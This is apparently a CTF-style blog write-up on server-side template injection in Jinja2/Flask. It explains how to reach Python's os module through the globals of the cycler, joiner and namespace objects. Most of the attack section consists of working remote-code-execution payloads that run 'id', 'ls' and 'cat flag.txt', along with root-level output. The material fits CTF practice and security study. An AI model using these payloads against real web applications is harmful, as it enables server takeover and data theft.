Proudly powered by Flask/Jinja2
In Jinja2, templates can inherit from other templates using the {% extends %}
tag. When a template extends another template, it inherits the context of the parent template. The self._TemplateReference__context
attribute is used to store this inherited context in the child template.
<ip>:<port>/{{self._TemplateReference__context }}

The page ‘<Context {‘range’: <class ‘range’>, ‘dict’: <class ‘dict’>, ‘lipsum’: <function generate_lorem_ipsum at 0x7f5a4afcfdc0>, ‘cycler’: <class ‘jinja2.utils.Cycler’>, ‘joiner’: <class ‘jinja2.utils.Joiner’>, ‘namespace’: <class ‘jinja2.utils.Namespace’>,
→ {{self._TemplateReference__context }} this gives access to the following classes
→ jinja2.utils.Cycler , jinja2.utils.Joiner , jinja2.utils.Namespace
self._TemplateReference__context
: This is a reference to the private __context
attribute of the TemplateReference
class. It provides access to the context dictionary for the current template.
Jinja templates can be rendered with a context, which is a Python dictionary containing variables that are accessible within the template. The self._TemplateReference__context
attribute stores this dictionary for the current template.
We need to access the os module to get an RCE. Jinja2 itself does not provide direct access to the os
module or allow for RCE attacks, while it is possible to use Python modules like os
in Jinja2 templates to access the underlying operating system. So we first need to find the location of the os module
We can use .__init__.__globals__ to access the global variables of the file the above classes are defined
→ {{self._TemplateReference__context.cycler.__init__.__globals__}} use this to get out of the class and access the global variables of the utils.py file
Payloads:
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘id’).read()}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os.popen(‘id’).read()}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os.popen(‘id’).read()}}
>>> The page ‘uid=0(root) gid=0(root) groups=0(root) ‘ could not be found
.os
: This is theos
module in Python, which provides a way to interact with the operating system..popen('id').read()
: This is a method call on theos
module that runs theid
command in the shell and reads its output. Thepopen()
method opens a pipe to the shell, and theread()
method reads the output from that pipe.
We are already inside the template context, as we are inside the template file which is rendered by the template engine. So we can remove the “self.__TemplateReference__context ” from the payload
Final payload:
This is the payload to access the os module in a Server Side Template Injection in jinja2.
{{namespace.__init__.__globals__.os.popen(‘ls’).read()}}
{{namespace.__init__.__globals__.os.popen(‘cat flag.txt’).read()}}
We can also use any other class mentioned above.

Comments
Post a Comment